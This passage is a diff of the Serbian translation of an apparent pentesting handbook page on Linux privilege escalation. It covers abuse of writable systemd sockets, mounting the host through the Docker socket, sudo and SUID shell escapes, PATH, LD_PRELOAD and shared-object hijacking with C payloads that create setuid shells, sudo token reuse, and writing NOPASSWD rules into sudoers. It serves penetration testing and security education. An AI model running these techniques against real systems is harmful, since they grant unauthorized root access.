uklanjanja listening **sockets**/FIFO-a, redom. +- `Service`: Specifikuje ime **service** unita koji će se **aktivirati** na dolazni saobraćaj. Ova opcija je dozvoljena samo za sockets sa Accept=no. Podrazumevano pokazuje na service koji nosi isto ime kao socket (sa zamenjenim sufiksom). U većini slučajeva nije neophodno koristiti ovu opciju. ### Upisivi .socket fajlovi -Ako pronađete **upisiv** `.socket` fajl možete **dodati** na početku `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što socket bude kreiran. Dakle, **verovatno ćete morati da sačekate dok se mašina ne restartuje.**\ -_Napomena: sistem mora koristiti tu konfiguraciju socket fajla ili backdoor neće biti izvršen_ +Ako pronađete **upisiv** `.socket` fajl, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će se izvršiti pre nego što se socket kreira. Dakle, **verovatno ćete morati da sačekate da se mašina rebootuje.**\ +_Napomena: sistem mora koristiti tu konfiguraciju socket fajla da bi se backdoor izvršio_ -### Upisivi Unix soketi +### Upisivi sockets -Ako **identifikujete bilo koji upisiv socket** (_sada govorimo o Unix Sockets i ne o konfig `.socket` fajlovima_), onda **možete komunicirati** sa tim socketom i možda iskoristiti neku ranjivost. +Ako identifikujete bilo koji upisiv socket (_sada govorimo o Unix Sockets, a ne o konfig `.socket` fajlovima_), onda **možete komunicirati** sa tim socketom i možda iskoristiti ranjivost. -### Enumeracija Unix soketa +### Enumeracija Unix Sockets ```bash netstat -a -p --unix ``` @@ -483,30 +505,30 @@ socket-command-injection.md ### HTTP sockets -Imajte na umu da može postojati nekoliko **sockets listening for HTTP** zahteva (_Ne mislim na .socket files već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti pomoću: +Imajte na umu da može postojati nekoliko **sockets koje slušaju HTTP** zahteva (_ne mislim na .socket fajlove već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti sa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` Ako socket **odgovori na HTTP** zahtev, onda možete **komunicirati** sa njim i možda **iskoristiti neku ranjivost**. -### Upisivi Docker socket +### Upisiv Docker Socket -Docker socket, često se nalazi na `/var/run/docker.sock`, je kritičan fajl koji treba da bude zaštićen. Po defaultu, može da mu piše `root` korisnik i članovi `docker` grupe. Imati pristup za pisanje ovom socketu može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. +Docker socket, koji se često nalazi na `/var/run/docker.sock`, predstavlja kritičnu datoteku koju treba zaštititi. Podrazumevano je upisiv od strane `root` korisnika i članova `docker` grupe. Imanje write access na ovom socketu može dovesti do privilege escalation. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. -#### **Eskalacija privilegija pomoću Docker CLI** +#### **Privilege Escalation with Docker CLI** -Ako imate pristup za pisanje Docker socketu, možete eskalirati privilegije koristeći sledeće komande: +Ako imate write access na Docker socket, možete escalate privileges koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ove komande vam omogućavaju da pokrenete container sa root pristupom fajl-sistemu hosta. +Ove komande vam omogućavaju da pokrenete kontejner sa root pristupom fajl-sistemu hosta. -#### **Korišćenje Docker API-ja direktno** +#### **Korišćenje Docker API direktno** -U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati pomoću Docker API-ja i `curl` komandi. +U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati koristeći Docker API i `curl` komande. -1. **List Docker Images:** Dohvatite listu dostupnih images. +1. **List Docker Images:** Preuzmite listu dostupnih image-ova. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json @@ -518,13 +540,13 @@ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Startujte novokreirani kontejner: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju ka containeru, što vam omogućava izvršavanje komandi u njemu. +3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju ka socket-u, omogućavajući izvršavanje komandi unutar containera. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,13 +556,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nakon uspostavljanja `socat` konekcije, možete izvršavati komande direktno u containeru sa root pristupom fajl-sistemu hosta. +Nakon uspostavljanja `socat` konekcije, možete direktno izvršavati komande u kontejneru sa root pristupom fajl-sistemu hosta. ### Ostalo -Imajte na umu da ako imate write permissions over the docker socket zato što ste **inside the group `docker`** imate [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ako je [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Imajte na umu da, ako imate dozvole za pisanje nad docker socket-om zato što ste **unutar grupe `docker`**, imate [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ako [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Proverite **još načina da se izvučete iz docker-a ili da ga zloupotrebite za eskalaciju privilegija** u: +Pogledajte **više načina za izlazak iz docker-a ili zloupotrebu da biste eskalirali privilegije** u: {{#ref}} @@ -549,7 +571,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Ako ustanovite da možete koristiti komandu **`ctr`**, pročitajte sledeću stranicu jer **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -558,7 +580,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Ako ustanovite da možete koristiti komandu **`runc`**, pročitajte sledeću stranicu jer **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -567,15 +589,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus je sofisticiran **sistem za međuprocesnu komunikaciju (IPC)** koji omogućava aplikacijama efikasnu interakciju i razmenu podataka. Dizajniran sa savremenim Linux sistemom na umu, nudi robusni okvir za različite oblike komunikacije između aplikacija. +D-Bus je sofisticiran sistem za međuprocesnu komunikaciju (Inter-Process Communication (IPC)) koji omogućava aplikacijama efikasnu interakciju i razmenu podataka. Dizajniran imajući u vidu moderni Linux sistem, nudi robustan okvir za različite oblike komunikacije među aplikacijama. -Sistem je svestran, podržava osnovnu IPC koja poboljšava razmenu podataka između procesa, podsećajući na **enhanced UNIX domain sockets**. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolazećem pozivu može naterati plejer da utiša zvuk, poboljšavajući korisničko iskustvo. Takođe, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve servisa i pozive metoda između aplikacija, što pojednostavljuje procese koji su tradicionalno bili složeni. +Sistem je svestran, podržava osnovni IPC koji unapređuje razmenu podataka između procesa, podsećajući na unapređene UNIX domain socket-e. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može naterati music player da utiša zvuk, poboljšavajući korisničko iskustvo. D-Bus takođe podržava remote object sistem, pojednostavljujući zahteve za servise i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni. -D-Bus radi na modelu **allow/deny**, upravljajući dozvolama poruka (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta podudarnih pravila politike. Ove politike određuju interakcije sa bus-om, potencijalno dozvoljavajući eskalaciju privilegija kroz zloupotrebu tih dozvola. +D-Bus radi po allow/deny modelu, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta podudaranja pravila politike. Ove politike specificiraju interakcije sa bus-om, i potencijalno mogu omogućiti eskalaciju privilegija kroz zloupotrebu tih dozvola. -Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, i prikazuje dozvole za korisnika root da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. +Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, i opisuje dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez specificiranog korisnika ili grupe važe univerzalno, dok "default" kontekst politike važe za sve koji nisu obuhvaćeni drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe se primenjuju univerzalno, dok se "default" context politike primenjuju na sve koji nisu obuhvaćeni drugim specifičnim politikama. ```xml @@ -584,7 +606,7 @@ Politike bez specificiranog korisnika ili grupe važe univerzalno, dok "default" ``` -**Saznajte kako da enumerate i exploit D-Bus komunikaciju ovde:** +**Naučite kako da enumerišete i iskoristite D-Bus komunikaciju ovde:** {{#ref}} @@ -593,9 +615,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Mreža** -Uvek je zanimljivo da enumerate mrežu i odredite poziciju mašine. +Uvek je korisno enumerisati mrežu i utvrditi položaj mašine. -### Generic enumeration +### Generička enumeracija ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -618,24 +640,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Otvoreni portovi -Uvek proverite mrežne servise koji rade na mašini sa kojima niste mogli da komunicirate pre nego što ste joj pristupili: +Uvek proverite mrežne servise koji rade na mašini, sa kojima niste mogli da stupite u interakciju pre nego što joj pristupite: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Proverite da li možete sniff traffic. Ako možete, možda ćete moći da dohvatite neke credentials. +Proverite да ли можете sniff traffic. Ако можете, могли бисте дохватити неке credentials. ``` timeout 1 tcpdump ``` ## Korisnici -### Opšta enumeracija +### Generička enumeracija -Proverite **who** ste, koje **privileges** imate, koji **users** su u sistemu, koji mogu da **login** i koji imaju **root privileges:** +Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** su u sistemu, koji mogu da izvrše **login** i koji imaju **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -659,12 +681,12 @@ gpg --list-keys 2>/dev/null ``` ### Veliki UID -Neke verzije Linux-a su bile pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Neke verzije Linuxa bile su pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** to escalate privileges. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupe -Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije: +Proveri da li si **član neke grupe** koja bi ti mogla dodeliti root privileges: {{#ref}} @@ -673,7 +695,7 @@ interesting-groups-linux-pe/ ### Međuspremnik -Proverite da li se u međuspremniku nalazi nešto zanimljivo (ako je moguće) +Proveri da li se u međuspremniku nalazi nešto zanimljivo (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,27 +712,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Poznate lozinke -Ako **znate bilo koju lozinku** iz okruženja, **pokušajte da se prijavite kao svaki korisnik** koristeći tu lozinku. +Ako **znate bilo koju lozinku** u okruženju, **pokušajte da se ulogujete kao svaki korisnik** koristeći tu lozinku. ### Su Brute -Ako vam ne smeta stvaranje puno buke i `su` i `timeout` binari su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. +Ako vam ne smeta da izazovete mnogo buke i ako su `su` i `timeout` binarni fajlovi prisutni na računaru, možete pokušati brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava brute-force korisnike. -## Zloupotrebe upisivog $PATH +## Zloupotrebe zapisivog $PATH-a ### $PATH -Ako otkrijete da možete **pisati u neki folder iz $PATH** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor u upisivom folderu** pod imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz foldera koji se nalazi pre** vašeg upisivog foldera u $PATH. +Ako otkrijete da možete **pisati u neki direktorijum iz $PATH-a**, možda ćete moći da escalate privileges kreiranjem backdoora unutar zapisivog direktorijuma pod imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja se **ne učitava iz direktorijuma koji se nalazi pre vašeg zapisivog direktorijuma u $PATH-u**. ### SUDO and SUID -Moguće je da vam je dozvoljeno da izvršavate neku komandu koristeći sudo ili da neke komande imaju suid bit. Proverite to koristeći: +Možda vam je dozvoljeno da izvršite neku komandu koristeći sudo, ili neke komande mogu imati suid bit. Proverite to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Neke **neočekivane naredbe omogućavaju čitanje i/ili pisanje datoteka ili čak izvršavanje komandi.** Na primer: +Neke **neočekivane komande dozvoljavaju čitanje i/ili pisanje fajlova ili čak izvršavanje komande.** Na пример: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +743,31 @@ less>! ``` ### NOPASSWD -Sudo konfiguracija može dozvoliti korisniku da izvrši komandu sa privilegijama drugog korisnika bez poznavanja lozinke. +Sudo konfiguracija može omogućiti korisniku da izvrši neku komandu sa privilegijama drugog korisnika bez poznavanja lozinke. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`; sada je trivijalno dobiti shell dodavanjem ssh key u root direktorijum ili pozivanjem `sh`. +U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`, sada je trivijalno dobiti shell dodavanjem ssh key u root directory ili pozivanjem `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ova direktiva omogućava korisniku da **set an environment variable** pri izvršavanju nečega: +Ova direktiva omogućava korisniku da **set an environment variable** prilikom izvršavanja nečega: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ovaj primer, **zasnovan na HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** za učitavanje proizvoljne python biblioteke prilikom izvršavanja skripte kao root: +Ovaj primer, **zasnovan na HTB mašini Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** koji je omogućavao učitavanje proizvoljne python biblioteke pri izvršavanju skripte kao root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: zaobilaženje izvršavanja putem putanja +### Sudo zaobilaženje putanja izvršavanja -**Skoči** da pročitaš druge fajlove ili koristi **symlinks**. Na primer u sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** za čitanje drugih fajlova ili koristi **symlinks**. Na primer, u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,50 +777,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Ako se koristi **wildcard** (\*), još je lakše: +Ako se koristi **wildcard** (\*), čak je i lakše: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Protumere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Protivmere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) ### Sudo command/SUID binary bez putanje komande -Ako je **sudo dozvola** dodeljena jednoj komandi **bez navođenja putanje**: _hacker10 ALL= (root) less_, možete to iskoristiti menjajući PATH varijablu +Ukoliko je korisniku dodeljena **sudo permission** za jednu komandu **bez navođenja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti menjajući promenljivu PATH. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ova tehnika se takođe može koristiti ako **suid** binary **izvršava drugu komandu bez navođenja putanje do nje (uvek proveri pomoću** _**strings**_ **sadržaj čudnog SUID binary)**). +Ova tehnika se takođe može koristiti ako **suid** binarni fajl **izvršava drugu komandu bez navođenja putanje do nje (uvek proverite pomoću** _**strings**_ **sadržaj čudnog SUID binarnog fajla)**). -[Payload examples to execute.](payloads-to-execute.md) +[Primeri payload-a za izvršavanje.](payloads-to-execute.md) -### SUID binary sa putanjom komande +### SUID binarni fajl sa putanjom komande -Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da kreirate i **export a function** pod imenom komande koju suid fajl poziva. +Ako **suid** binarni fajl **izvršava drugu komandu navodeći putanju**, onda možete pokušati da **export a function** imenovanu kao komanda koju suid fajl poziva. -Na primer, ako suid binary poziva _**/usr/sbin/service apache2 start**_, morate pokušati da kreirate funkciju i exportujete je: +Na primer, ako suid binarni fajl poziva _**/usr/sbin/service apache2 start**_ morate pokušati da kreirate funkciju i eksportujete je: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena +Zatim, kada pozovete suid binarni fajl, ova funkcija će se izvršiti ### LD_PRELOAD & **LD_LIBRARY_PATH** -Promenljiva okruženja **LD_PRELOAD** koristi se za navođenje jedne ili više shared biblioteka (.so fajlova) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao prethodno učitavanje biblioteke. +Promenljiva okoline **LD_PRELOAD** se koristi da specificira jednu ili više deljenih biblioteka (.so files) koje loader učitava pre svih drugih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao pre-učitavanje biblioteke. -Međutim, kako bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, naročito kod **suid/sgid** izvršnih fajlova, sistem nameće određene uslove: +Međutim, da bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove mogućnosti, naročito kod suid/sgid izvršnih fajlova, sistem nameće određene uslove: -- Loader ignoriše **LD_PRELOAD** za izvršne fajlove kod kojih stvarni korisnički ID (_ruid_) nije isti kao efektivni korisnički ID (_euid_). -- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se prethodno učitavaju. +- Loader ignoriše **LD_PRELOAD** za izvršne fajlove kod kojih real user ID (_ruid_) nije jednak effective user ID (_euid_). +- Za suid/sgid izvršne fajlove, unapred se učitavaju samo biblioteke u standardnim putanjama koje su takođe suid/sgid. -Do eskalacije privilegija može doći ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. +Do eskalacije privilegija može doći ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava promenljivoj okoline **LD_PRELOAD** da opstane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` -Sačuvajte kao **/tmp/pe.c** +Sačuvaj kao **/tmp/pe.c** ```c #include #include @@ -821,7 +843,7 @@ Na kraju, **escalate privileges** pokretanjem sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc se može zloupotrebiti ako napadač kontroliše **LD_LIBRARY_PATH** env variable jer on kontroliše putanju u kojoj će se biblioteke tražiti. +> Sličan privesc može biti zloupotrebljen ako napadač kontroliše promenljivu okruženja **LD_LIBRARY_PATH**, jer on kontroliše putanju gde će biblioteke biti tražene. ```c #include #include @@ -841,15 +863,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID binarni fajl – .so injection +### SUID Binary – .so injection -Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neuobičajeno, dobra je praksa proveriti da li ispravno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: +Kada naiđete na binary sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li ispravno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na primer, susretanje greške kao što je _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. +Na primer, nailazak na grešku kao što je _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. -Da bi se ovo eksploatisalo, treba napraviti C fajl, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: +Da bi se ovo iskoristilo, kreira se C fajl, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: ```c #include #include @@ -860,13 +882,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ovaj kod, nakon što se kompajlira i izvrši, ima za cilj eskalaciju privilegija manipulacijom dozvola fajlova i izvršavanjem shell-a sa povišenim privilegijama. +Ovaj kod, nakon što se kompajlira i izvrši, ima za cilj da podigne privilegije manipulacijom dozvola fajlova i izvršavanjem shell-a sa povišenim privilegijama. -Kompajlirajte gore navedeni C fajl u shared object (.so) fajl sa: +Kompajlirajte gornji C fajl u shared object (.so) fajl sa: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na kraju, pokretanje pogođenog SUID binary-a trebalo bi da pokrene exploit, omogućavajući potencijalno kompromitovanje sistema. +Na kraju, pokretanje pogođenog SUID binary trebalo bi da pokrene exploit, omogućavajući potencijalno kompromitovanje sistema. ## Shared Object Hijacking ```bash @@ -878,7 +900,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binary koji učitava biblioteku iz foldera u koji možemo pisati, kreirajmo biblioteku u tom folderu sa odgovarajućim imenom: +Sada kada smo pronašli SUID binary koji učitava biblioteku iz foldera u koji možemo pisati, hajde da kreiramo biblioteku u tom folderu sa potrebnim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -899,9 +921,9 @@ to znači da biblioteka koju ste generisali treba da sadrži funkciju nazvanu `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti za zaobilaženje lokalnih bezbednosnih ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubacivati argumente** u komandu. +[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto ali za slučajeve kada možete **samo ubacivati argumente** u komandu. -Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti za izlazak iz ograničenih shell-ova, eskalaciju ili održavanje povišenih privilegija, prenos fajlova, pokretanje bind i reverse shell-ova, i olakšavanje drugih post-exploitation zadataka. +Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti za izlazak iz ograničenih shell-ova, eskalaciju ili održavanje povišenih privilegija, transfer fajlova, pokretanje bind i reverse shell-ova, i olakšavanje drugih post-exploitation zadataka. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,20 +942,20 @@ https://gtfoargs.github.io/ ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +Ako možete da pokrenete `sudo -l` možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li pronalazi način da iskoristi bilo koje sudo pravilo. ### Reusing Sudo Tokens -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +U slučajevima kada imate **sudo access** ali ne i lozinku, možete eskalirati privilegije tako što ćete sačekati izvršenje sudo komande i potom oteti session token. -Zahtevi za eskalaciju privilegija: +Requirements to escalate privileges: - Već imate shell kao korisnik "_sampleuser_" -- "_sampleuser_" je **koristio `sudo`** da izvrši nešto u **poslednjih 15mins** (po defaultu to je trajanje sudo tokena koji nam omogućava da koristimo `sudo` bez unošenja lozinke) +- "_sampleuser_" je **koristio `sudo`** da izvrši nešto u **poslednjih 15 minuta** (po default-u to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unosa lozinke) - `cat /proc/sys/kernel/yama/ptrace_scope` je 0 - `gdb` je dostupan (možete ga otpremiti) -(Možete privremeno omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno izmenom `/etc/sysctl.d/10-ptrace.conf` i postavljanjem `kernel.yama.ptrace_scope = 0`) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -943,32 +965,32 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **Drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **owned by root with setuid** +- **Drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **Treći exploit** (`exploit_v3.sh`) će **kreirati sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** +- **treći exploit** (`exploit_v3.sh`) će **napraviti sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Ako imate **prava za pisanje** u direktorijumu ili na bilo kom od fajlova kreiranih u tom direktorijumu, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ -Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID-om 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete: +Ako imate **write permissions** u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **create a sudo token for a user and PID**.\ +Na primer, ako možete prepisati datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **obtain sudo privileges** bez potrebe da znate lozinku tako što ćete: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ove datoteke **po defaultu mogu biti pročitane samo od strane korisnika root i grupe root**.\ -**Ako** možete **pročitati** ovu datoteku, mogli biste uspeti da **dobijete neke zanimljive informacije**, a ako možete **upisati** bilo koju datoteku moći ćete **eskalirati privilegije**. +Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može koristiti `sudo` i kako. Ovi fajlovi **podrazumevano mogu biti čitani samo od user root i group root**.\ +**Ako** možete **pročitati** ovaj fajl, mogli biste da **pribavite neke zanimljive informacije**, i ako možete **upisati** u bilo koji fajl moći ćete da **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Ako možeš da pišeš, možeš zloupotrebiti ovu dozvolu. +Ako možeš pisati, možeš zloupotrebiti ovu dozvolu. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) 